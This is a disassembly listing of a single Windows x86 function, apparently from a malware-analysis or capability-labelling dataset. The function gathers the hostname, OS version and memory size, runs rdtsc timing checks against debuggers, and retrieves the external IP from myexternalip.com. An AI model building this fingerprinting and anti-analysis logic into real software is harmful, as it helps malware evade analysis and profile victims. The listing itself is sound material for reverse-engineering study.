Function at 0x421ce0
Capabilities:
Check for time delay via queryperformancecounter
Check os version
Create http request
Execute anti-debugging instructions
Get hostname
Get memory capacity
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474efd
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x4d9770]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x128], esi
push 0x10
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [ebp - 0x28], 0
xor eax, eax
mov dword [ebp - 0x134], 0x200
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push 0x47de2c
push 0x47de34
push edi
push dword [0x514990]
mov dword [ebp - 4], eax
mov dword [0x52aaec], 1
call fcn.00448d80
movzx eax, word [edi]
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test ax, ax
je 0x421da3
cmp eax, 1
je 0x421da3
push dword [edi + 8]
mov ecx, esi
call fcn.00417ee0
mov edx, 0x52a6d8
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x421d91
jmp 0x421e31
push 0x47de4c
push 0x47de60
mov ecx, 0x4a7278
call fcn.00414d70
mov dword [ebp - 0x124], eax
test eax, eax
je 0x421e31
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 3
call ebx
mov dword [ebp - 0x120], eax
lea ecx, [eax - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x421e0c
push dword [ebp - 0x120]
push esi
push 0xffffffffffffffff
push dword [ebp - 0x124]
push 0
push 3
call ebx
cmp eax, dword [ebp - 0x120]
je 0x421e0c
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov dword [edi + 8], esi
push esi
mov esi, dword [ebp - 0x128]
mov ecx, esi
call fcn.00417ee0
mov edx, 0x52a6d8
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x421e24
push 0x47de84
push 0x47de8c
push edi
push dword [0x514990]
call fcn.00448d80
movzx eax, word [edi]
add esp, 0x10
test ax, ax
je 0x421e88
cmp eax, 1
je 0x421e88
push dword [edi + 8]
mov ecx, esi
call fcn.00417ee0
mov edx, 0x52a7c8
sub edx, eax
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x421e70
mov edi, dword [ebp - 0x128]
jmp 0x421faf
push 0x47de9c
push 0x47deb0
mov ecx, 0x4a7278
call fcn.00414d70
mov dword [ebp - 0x124], eax
test eax, eax
jne 0x421f3f
push 0x47dee0
push 0x47deb0
mov ecx, 0x4a7278
call fcn.00414d70
mov dword [ebp - 0x124], eax
test eax, eax
je 0x421f11
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 3
call ebx
mov dword [ebp - 0x120], eax
lea ecx, [eax - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x421f13
push dword [ebp - 0x120]
push esi
push 0xffffffffffffffff
push dword [ebp - 0x124]
push 0
push 3
call ebx
cmp eax, dword [ebp - 0x120]
je 0x421f13
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov dword [edi + 8], esi
mov edi, dword [ebp - 0x128]
mov ecx, edi
push esi
call fcn.00417ee0
mov edx, 0x52a7c8
sub edx, eax
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x421f30
jmp 0x421faf
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 3
call ebx
mov dword [ebp - 0x120], eax
lea ecx, [eax - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x421f8a
push dword [ebp - 0x120]
push esi
push 0xffffffffffffffff
push dword [ebp - 0x124]
push 0
push 3
call ebx
cmp eax, dword [ebp - 0x120]
je 0x421f8a
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov dword [edi + 8], esi
mov edi, dword [ebp - 0x128]
mov ecx, edi
push esi
call fcn.00417ee0
mov edx, 0x52a7c8
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx - 1], cl
test cl, cl
jne 0x421fa2
lea eax, [ebp - 0x134]
push eax
push dword [0x52abf4]
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ecx + 0x4a72f8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x52a8b7], al
test al, al
jne 0x421fd0
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10c], 2
jne 0x42202f
cmp dword [ebp - 0x118], 5
jb 0x42202f
lea eax, [ebp - 0x88]
mov dword [ebp - 0x88], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
shrd ecx, eax, 0x14
jmp 0x422046
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [ebp - 0x40]
shr ecx, 0x14
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [ebp - 0x144]
push eax
mov dword [0x52a938], ecx
call esi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
shrd eax, ecx, 5
mov dword [ebp - 0x130], eax
rdtsc
sar ecx, 5
mov ebx, eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x124], edx
lea eax, [ebp - 0x13c]
push eax
call esi
mov ecx, dword [ebp - 0x13c]
sub ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0x12c]
jl 0x422091
jg 0x4220c4
cmp ecx, dword [ebp - 0x130]
jb 0x422091
rdtsc
sub eax, ebx
sbb edx, dword [ebp - 0x124]
shld edx, eax, 5
shl eax, 5
mov ecx, eax
call fcn.0044d770
divsd xmm0, qword [0x47e0c8]
sub esp, 8
cvtsd2ss xmm0, xmm0
cvtss2sd xmm0, xmm0
movsd qword [esp], xmm0
push 0x47aff4
push 0x52aa60
call fcn.00422380
add esp, 0x10
push 0
push 0
push 0
push 0
push str.IP_retriever
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push SysReAllocString
push 0
push 0
mov esi, eax
push str.http:__myexternalip.com_raw
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x148]
push ecx
push 0x2f
push 0x52a93c
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x478714
mov eax, 0x4a7294
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x422178
test dl, dl
je 0x422174
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x422178
add eax, 2
add ecx, 2
test dl, dl
jne 0x422158
xor eax, eax
jmp 0x42217d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x42218b
mov ecx, 0x4a7278
call fcn.00414d10
push 0x4a7294
call fcn.0045f0c2
mov edx, eax
add esp, 4
lea ecx, [edx - 0x1db1]
cmp ecx, 0x63e
ja 0x4221af
mov eax, 0x47df20
jmp 0x4221e0
cmp edx, 0x2580
jge 0x4221be
mov eax, 0x47df2c
jmp 0x4221e0
cmp edx, 0x2800
jge 0x4221cd
mov eax, 0x47df38
jmp 0x4221e0
cmp edx, 0x55f0
mov eax, 0x4788a8
mov ecx, 0x47df44
cmovge eax, ecx
cmp dword [0x52b0b8], 0
mov dword [0x52a96c], eax
jne 0x42220f
mov ecx, 0x52a6a0
call fcn.00416220
push eax
push 0x4787e4
push 0x64
push 0x5301a4
call fcn.004085e0
add esp, 0x10
jmp 0x422223
push 0x52fd40
push 0x64
push 0x5301a4
call fcn.00453332
add esp, 0xc
push 0x5301a4
push 0x47d24c
push 1
push dword [0x514990]
call fcn.00449450
add esp, 0x10
mov dword [0x52aad8], 0x5301a4
mov ecx, 0x4e2960
call fcn.00408120
mov dword [0x52aadc], eax
mov ecx, 0x4e2960
lea eax, [edi + 0x4ef0]
push eax
call fcn.004081d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044d06d
mov esp, ebp
pop ebp
ret